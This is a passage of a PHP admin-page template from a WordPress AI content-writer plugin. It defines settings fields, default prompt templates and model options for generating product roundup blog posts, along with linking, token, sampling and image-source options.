%%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="title_prompt" id="title_prompt3" placeholder="Enter your title prompts, one per line" class="valuesai3 cr_width_full">Write a title for a product roundup blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model3" name="topic_title_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="intro_prompt" id="intro_prompt3" placeholder="Enter your intro prompts, one per line" class="valuesai3 cr_width_full">Write an intro for a blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%%. The title of the post is "%%post_title%%". Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model3" name="topic_intro_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="content_prompt" id="content_prompt3" placeholder="Enter your content prompt" class="valuesai3 cr_width_full">Write the content of a post section describing the product "%%product_title%%" in %%language%%. Include pros and cons of the product. Don't repeat the product title in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. %%first_hand_experience_prompt%% Extract content from the following product description: "%%product_description%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model3" name="topic_content_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="qa_prompt" id="qa_prompt3" placeholder="Enter your Q&A prompts, one per line" class="valuesai3 cr_width_full">Write a Q&A for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model3" name="topic_qa_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="outro_prompt" id="outro_prompt3" placeholder="Enter your outro prompts, one per line" class="valuesai3 cr_width_full">Write an outro for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model3" name="topic_outro_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="excerpt_prompt" id="excerpt_prompt3" placeholder="Enter your excerpt prompts, one per line" class="valuesai3 cr_width_full">Write a short excerpt for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model3" name="topic_excerpt_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the product comparison prompt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Comparison Table Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="table_prompt" id="table_prompt3" placeholder="Enter your table prompts, one per line" class="valuesai3 cr_width_full">Generate a HTML product comparison table, for a product review blog post. The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Don't add the entire description as a table entry, but instead, extract data from it, make matches between multiple products, be creative and also short and simple. The table must be in a WordPress friendly format and have modern styling (you can use WordPress table classes). Detail product information: %%all_product_info%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the product comparison table generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Comparison Table Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_table_model3" name="topic_table_model" class="hideAssistant3 valuesai3 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex_prompts" id="strip_by_regex_prompts3" placeholder="regex expression" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex_prompts" id="replace_regex_prompts3" placeholder="regex replacement" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on3" name="run_regex_on" type="text" list="run_regex_on_list4" class="valuesai3 coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list4"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> <option value="table">table</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend3" placeholder="Global prompt prepend text" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append3" placeholder="Global prompt append text" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai3 cr_width_full" id="link_type3" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links3" placeholder="3-5" class="valuesai3 cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list3" placeholder="URL list (one per line)" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow3" name="link_nofollow" class="valuesai3"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types3" placeholder="post" class="valuesai3 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens3" value="" placeholder="2048" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens3" value="" placeholder="1000" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_continue_tokens" id="max_continue_tokens3" value="" placeholder="500" class="valuesai3 cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature3" value="" placeholder="1" class="valuesai3 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p3" value="" placeholder="1" class="valuesai3 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty3" value="" placeholder="0" class="valuesai3 cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty3" value="" placeholder="0" class="valuesai3 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition3" name="search_query_repetition" class="valuesai3 cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images3" onchange="hideImage('3');" name="enable_ai_images" class="valuesai3 cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="hideImg3 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom 